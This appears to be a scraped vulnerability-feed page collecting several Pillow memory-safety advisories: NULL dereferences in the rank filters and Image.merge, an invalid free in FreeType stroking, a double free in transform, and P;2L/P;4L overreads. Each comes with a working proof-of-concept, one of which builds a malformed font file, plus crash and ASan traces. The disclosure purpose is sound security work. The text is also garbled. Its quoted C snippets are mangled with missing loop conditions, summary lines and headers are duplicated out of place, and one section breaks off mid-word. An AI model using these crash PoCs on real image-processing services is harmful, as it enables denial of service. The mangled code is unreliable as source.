Every other `ImageFilter` returns an empty image for the same inputs. The zero-height case has crashed since the original PIL import, and the zero-width case since Pillow 4.3.0. This is separate from the `margin == 0` fix in #9755: the path is the same, but here the degenerate value is the image size rather than the kernel size. It has the same shape as the zero-dimension `ImagingOffset` crash fixed under GHSA-f87v-9578-p47w.

The attached reproducer shows a one-pixel-wide control crop filtering normally, while four empty crops passed through the rank filters are each killed by SIGSEGV. A patch that returns early in `ImagingExpand` for empty input is included.

## Details

`ImagingExpand()` (`src/libImaging/Filter.c`), the edge-padding helper that `ImageFilter.RankFilter` runs before the actual rank filter, reads the first pixel of each input line without checking that the input has any pixels. For an image with width 0 or height 0 the line pointers are NULL, so `Image.filter()` with `MedianFilter`, `MinFilter`, `MaxFilter` or `RankFilter` kills the interpreter with SIGSEGV instead of returning or raising:

```python
from PIL import Image, ImageFilter
im = Image.new("L", (10, 10)).crop((3, 0, 3, 10)) # size (0, 10); crop() accepts left == right
im.filter(ImageFilter.MedianFilter(3)) # SIGSEGV
```

Under gdb on the stock build the fault is at `ImagingExpand (imIn=…, margin=1) at src/libImaging/Filter.c:105` (the `EXPAND(UINT8, image8)` expansion), called from `_expand_image` at `src/_imaging.c:1151`, with `imIn->xsize = 0` and `imIn->image[0] = 0x0`. The same happens for every mode the rank filters accept (`L`, `RGB`, `RGBA`, `I`, `F`), and the core `expand(m)` method with `m >= 1` crashes the same way in any mode, including `P`. The same input through `BoxBlur`, `GaussianBlur`, `Kernel`, `ModeFilter` and `UnsharpMask` returns a `(0, 10)` image; a `(1, 10)` crop through `MedianFilter` also returns normally.

The unchecked edge reads date from the PIL import (`9a640e315`, 2010, so every Pillow release): the zero-height case has crashed since then, and the zero-width case since `fd907fbdc` ("Fix 0-width and 0-height images other way", Pillow 4.3.0), which stopped backing zero-width images with a dummy block and left their row pointers NULL. It is adjacent to the `margin == 0` divide-by-zero fix in #9755 — same `expand()` → `ImagingExpand()` path, but the unhandled degenerate value here is the image size rather than the kernel size.

The path:

```python
# src/PIL/ImageFilter.py:111-116 RankFilter.filter (MedianFilter/MinFilter/MaxFilter subclass it)
 image = image.expand(self.size // 2)
 return image.rankfilter(self.size, self.rank)
```

`expand(m)` with `m > 0` is `ImagingExpand(self->image, m)` (`src/_imaging.c:1142-1151`). It validates only `margin`, allocates an output of `(xsize+2*margin) × (ysize+2*margin)` — which is non-empty, so the allocation succeeds — and then fills the margin by replicating edge pixels of the input:

```c
// src/libImaging/Filter.c:70-101
 imOut =
 ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
 …
#define EXPAND_LINE(type, image, yin, yout) \
 { \
 for (x = 0; x image[yout][x] = imIn->image[yin][0]; \ // line 79
 } \
 … \
 for (x = 0; x image[yout][margin + imIn->xsize + x] = \
 imIn->image[yin][imIn->xsize - 1]; \ // [-1] when xsize == 0
 } \
 }

#define EXPAND(type, image) \
 { \
 for (y = 0; y ysize - 1, margin + imIn->ysize + y); \ // line -1 when ysize == 0
 } \
 }
```

Why the line pointers are NULL: `ImagingNewPrologueSubtype` callocs the `im->image` pointer array (`src/libImaging/Storage.c:216`, at least one entry), and `ImagingAllocateArray` returns before assigning any of them for an empty image:

```c
// src/libImaging/Storage.c:423-426
 /* 0-width or 0-height image. No need to do anything */
 if (!im->linesize || !im->ysize) {
 return im;
 }
```

So with `xsize == 0` every `imIn->image[y]` is NULL and `imIn->image[yin][0]` faults; with `ysize == 0` the top-margin pass reads `imIn->image[0]` (the single calloc'd NULL slot) and faults the same way, and the bottom-margin pass would index `imIn->image[-1]`. `ImagingRankFilter` is never reached.

Zero-size images are ordinary objects in Pillow and arrive at `filter()` through public API only:

Affected package ranges reported by GitHub:
Pillow: <= 12.3.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0
https://kevwire.com/record/CVE-2026-112405
Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0 (Oct 21, 2026).
- `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those.

For an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]->image8[y]` for the multi-band output modes:
CVSS 8.7 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-cp9v-662q-vvx9).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112405&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-cp9v-662q-vvx9: https://github.com/advisories/GHSA-cp9v-662q-vvx9
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-112405: https://nvd.nist.gov/vuln/detail/CVE-2026-112405
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112405&date=2026-10-25
### Summary
`Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.

### Details
The validation loop skips band 0:

- `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those.

For an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]->image8[y]` for the multi-band output modes:

- `src/libImaging/Bands.c:302`, `:311`, `:321`

The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:

- `src/PIL/IptcImagePlugin.py:156-160`
- `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function.

### PoC
```python
from PIL import Image

# Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only
# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.
band0 = Image.new("I", (4, 4))
Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])
```

Run it:
```
$ python 02_poc.py
Segmentation fault (core dumped)
```

Observed on a source build of commit `3e2ab96`.

Under AddressSanitizer:
```
==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
 #0 ImagingMerge src/libImaging/Bands.c:311
 #1 _merge src/_imaging.c:2492
SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge
```
The null address confirms the dereference of the missing `image8` plane for band 0.

### Impact
NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.

Affected package ranges reported by GitHub:
pillow: >= 12.0.0, < 13.0.0
Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Invalid free in FreeType glyph rendering when a stroker is active
https://kevwire.com/record/CVE-2026-112893
Pillow: Invalid free in FreeType glyph rendering when a stroker is active (Oct 21, 2026).
- `src/_imagingft.c:848`

The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:
CVSS 8.2 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-j4m9-6w36-pw47).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112893&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-j4m9-6w36-pw47: https://github.com/advisories/GHSA-j4m9-6w36-pw47
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-112893: https://nvd.nist.gov/vuln/detail/CVE-2026-112893
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112893&date=2026-10-25
### Summary
When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.

### Details
`glyph` is declared without a NULL initializer:

- `src/_imagingft.c:848`

The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:

- `src/_imagingft.c:1010-1013`

In the render loop the glyph is freed at the end of each iteration and not set back to NULL:

- `src/_imagingft.c:1242`

The cleanup frees it whenever a stroker exists:

- `src/_imagingft.c:1253-1256`

`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.

### PoC
This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.

```python
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()

raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
 rec = 12 + i * 16
 tag = bytes(raw[rec:rec+4]).decode("latin-1")
 off, length = struct.unpack(">II", raw[rec+8:rec+16])
 tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
 o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
 o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20) # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer
```

Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).

### Impact
Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.

Affected package ranges reported by GitHub:
pillow: >= 10.0.0, < 13.0.0
Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Double free in ImagingScaleAffine on calloc failure via Image.transform
https://kevwire.com/record/CVE-2026-112402
Pillow: Double free in ImagingScaleAffine on calloc failure via Image.transform (Oct 21, 2026).
```
============================================================================
Double free in ImagingScaleAffine on calloc failure via Image.transform
Location: src/libImaging/Geometry.c:866 in ImagingScaleAffine()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

There is a double free in Pillow's `Image.transform()` that crashes the process when an oversized transform runs out of memory. Instead of only raising `MemoryError`, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of `Image.transform()` can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable.
CVSS 8.7 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-7mwm-ghpf-9vrm).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112402&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-7mwm-ghpf-9vrm: https://github.com/advisories/GHSA-7mwm-ghpf-9vrm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-112402: https://nvd.nist.gov/vuln/detail/CVE-2026-112402
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112402&date=2026-10-25
```
============================================================================
Double free in ImagingScaleAffine on calloc failure via Image.transform
Location: src/libImaging/Geometry.c:866 in ImagingScaleAffine()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

There is a double free in Pillow's `Image.transform()` that crashes the process when an oversized transform runs out of memory. Instead of only raising `MemoryError`, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of `Image.transform()` can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable.

The bug is in `ImagingScaleAffine()` in `src/libImaging/Geometry.c` (line 866). When its `calloc()` for the per-column lookup table of `4 × width` bytes fails, it calls `ImagingDelete(imOut)`. When the call comes from `Image.transform()`, `imOut` is the `Imaging` struct owned by the live Python `ImagingCore` output object. `_dealloc()` in `src/_imaging.c` later runs `ImagingDelete()` on the freed struct again, writing its mutex and refcount in freed memory and freeing the pixel blocks a second time. The path is reached with `Transform.EXTENT`, or `Transform.AFFINE` with a pure scale/translate matrix, under the default NEAREST resampling. A very wide, 1-row output size makes the lookup table the allocation that fails while the image itself still fits. On 64-bit Linux with default overcommit, that requires an address-space limit such as `ulimit -v`, `uwsgi --limit-as` or `systemd LimitAS=`. `resize()`, `thumbnail()` and `rotate()` are not affected. The attached reproducer runs on a stock build with a 1 GB limit: `transform((300000000, 1), EXTENT)` raises and catches `MemoryError`, then the process dies with SIGSEGV in `free()` called from `_dealloc()`. A memory-checking build reports the same path as a heap use-after-free. The faulty line was inherited from PIL 1.1.7 in the original fork commit, so every Pillow release since 1.0 is affected. A patch is attached.

## Details

`ImagingScaleAffine()` frees an image it does not own. On the one error path where its `calloc()` for the per-column lookup table fails, it calls `ImagingDelete(imOut)`. When reached through `Image.transform()`, `imOut` is the `Imaging` struct held by a live Python `ImagingCore` object; that object's `_dealloc()` later calls `ImagingDelete()` on the already-freed struct and frees its pixel blocks a second time.

Shortest demonstration on the stock build (the address-space limit stands in for `ulimit -v` / `uwsgi --limit-as` / `systemd LimitAS=` on a worker):

```python
import resource, gc
from PIL import Image
resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2)
src = Image.new("L", (8, 8))
try:
 src.transform((300_000_000, 1), Image.Transform.EXTENT, (0, 0, 8, 8))
except MemoryError:
 pass # expected, and the process should carry on
gc.collect() # instead: SIGSEGV in _dealloc -> ImagingDelete -> free()
```

The 300 MB output image allocates; `calloc(300000000, 4)` (1.2 GB) does not. `MemoryError` is raised as intended, but the interpreter then dies with SIGSEGV, gdb showing `free()` ← `memory_return_block`/`ImagingDestroyArray` (`src/libImaging/Storage.c:396,408`) ← `ImagingDelete` (`Storage.c:271`) ← `_dealloc` (`src/_imaging.c:188`). An AddressSanitizer build of the same sources (with `max_allocation_size_mb` used to make the `calloc` fail instead of an rlimit) reports `heap-use-after-free` in `ImagingDelete src/libImaging/Storage.c:257` called from `_dealloc src/_imaging.c:188`, on a 128-byte region "freed by" `ImagingDelete` ← `ImagingScaleAffine src/libImaging/Geometry.c:866` ← `ImagingTransformAffine Geometry.c:1043` ← `ImagingTransform Geometry.c:1135` ← `_transform src/_imaging.c:2153`, "previously allocated by" `ImagingNewPrologueSubtype Storage.c:53` ← … ← `_new src/_imaging.c:756`.

### Code path

`Image.transform()` creates the output image as an ordinary Python-owned image and then transforms *into* it:

```python
# src/PIL/Image.py:3008…3021
 im = new(self.mode, size, fillcolor)
 …
 im.__transformer(
 (0, 0, *size), self, method, data, resample, fillcolor is None
 )
```

`__transformer()` rewrites `Transform.EXTENT` into an axis-aligned affine matrix (`src/PIL/Image.py:3040-3046`: `data = (xs, 0, x0, 0, ys, y0)`, `method = Transform.AFFINE`) and calls `self.im.transform(box, image.im, method, data, resample, fill)` (`Image.py:3117`). `resample` defaults to `Resampling.NEAREST` (`Image.py:2936`).

In C, `_transform()` passes its *own* image as the destination:

```c
/* src/_imaging.c:2153 */
 imOut = ImagingTransform(
 self->image, imagep->image, method, x0, y0, x1, y1, a, filter, fill
 );
```

`ImagingTransformAffine()` takes the scaling fast path because the filter is NEAREST and the matrix has no shear:

```c
/* src/libImaging/Geometry.c:1035-1043 */
 if (filterid || imIn->type == IMAGING_TYPE_I16) {
 return ImagingGenericTransform(…);
 }
 if (a[1] == 0 && a[3] == 0) {
 /* Scaling */
 return ImagingScaleAffine(imOut, imIn, x0, y0, x1, y1, a, fill);
 }
```

and `ImagingScaleAffine()` allocates a table of `imOut->xsize` ints:

```c
/* src/libImaging/Geometry.c:863-868 */
 /* malloc check ok, uses calloc for overflow */
 xintab = (int *)calloc(imOut->xsize, sizeof(int));
 if (!xintab) {
 ImagingDelete(imOut); /* destroy`, and `free(im)`. `self->image` in the `ImagingCore` object still points at the freed struct. `_transform()` returns `NULL`, `Image.transform()` propagates `MemoryError`, the half-built output `Image` loses its last reference, and `_dealloc()` (`src/_imaging.c:188`) calls `ImagingDelete(imagep->image)` again: it locks `im->mutex` and decrements `im->refcount` inside freed me

Affected package ranges reported by GitHub:
Pillow: <= 12.3.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size
https://kevwire.com/record/CVE-2026-112394
Pillow: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size (Oct 21, 2026).
On `main`, even with the guard in #9725, it's possible to have these decoders read 1 to 3 bytes past the end of the passed buffer with a suitable width/height.

`ImagingRawDecode` and the `P;2L` / `P;4L` unpackers disagree about how many bytes a line of data occupies.
CVSS 6.3 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-4558-3h8r-v8xp).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112394&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-4558-3h8r-v8xp: https://github.com/advisories/GHSA-4558-3h8r-v8xp
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112394&date=2026-10-25
### Summary

On `main`, even with the guard in #9725, it's possible to have these decoders read 1 to 3 bytes past the end of the passed buffer with a suitable width/height.

### Details

`ImagingRawDecode` and the `P;2L` / `P;4L` unpackers disagree about how many bytes a line of data occupies.

The raw decoder derives the line size from the bits per pixel

```c
state->bytes = (state->xsize * state->bits + 7) / 8;
```

and uses it both for the bounds check and to advance to the next line. For `P;2L` and `P;4L`, `bits` is 2 and 4 respectively.

But these two rawmodes are not packed pixels but 2 or 4 *bit planes*, each padded to a whole number of bytes. `unpackP2L` computes `s = (pixels + 7) / 8` and reads plane *k* at offset `k * s`, and `unpackP4L` does the same across four planes. Their real footprint is therefore `planes * ((xsize + 7) / 8)`.

For some widths, padding each plane separately makes this footprint larger than `state->bytes`. For example, at width 1, the decoder accounts for one byte, while the unpackers read two or four bytes. The decoder accepts data that is too short for the last line and on the other hand advances to subsequent lines by less than a line, so every line after the first is also read from the wrong offset.

#9725's check is misshapen for this:

* It can reject data of the right length: 8x1 `P;2L` image is 2 bytes but is not accepted.
* It still accepts buffers shorter than the unpackers require for a given image shape.
* It measures the length with `len(data)`, which is an element count rather than a byte count; e.g. `memoryview(array("I", [0,0,0,0,0]))` (20 bytes) is rejected while `mv.tobytes()` is accepted.

### PoC ( `ghsa_p2l_p4l.py`)

```python
from array import array
from PIL import Image

# 1 byte past
Image.frombytes("P", (1, 4), array("B", [0] * 4), "raw", "P;2L")

# 3 bytes past
Image.frombytes("P", (1, 8), array("B", [0] * 8), "raw", "P;4L")
```
is the almost-simplest reproducer.

(`array` is needed to get ASan to reliably scream, but the overread is observable with e.g. bytes literals. Python allocates `bytes`es with an extra trailing null byte, from an arena by default to boot, so ASan doesn't see the overread.)

On my Mac, I can get ASan to scream about this with

```bash
export asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib)
env CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" LDFLAGS="-fsanitize=address" uv pip install -e .
env DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py
```

like so:

```
python3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space.
unpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371
unpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372
unpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373
unpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374
=================================================================
==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38
READ of size 1 at 0x602000037374 thread T0
 #0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680)
 #1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360)
 #2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c)
 #3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c)
 #4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8)
 #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
 #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
 #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
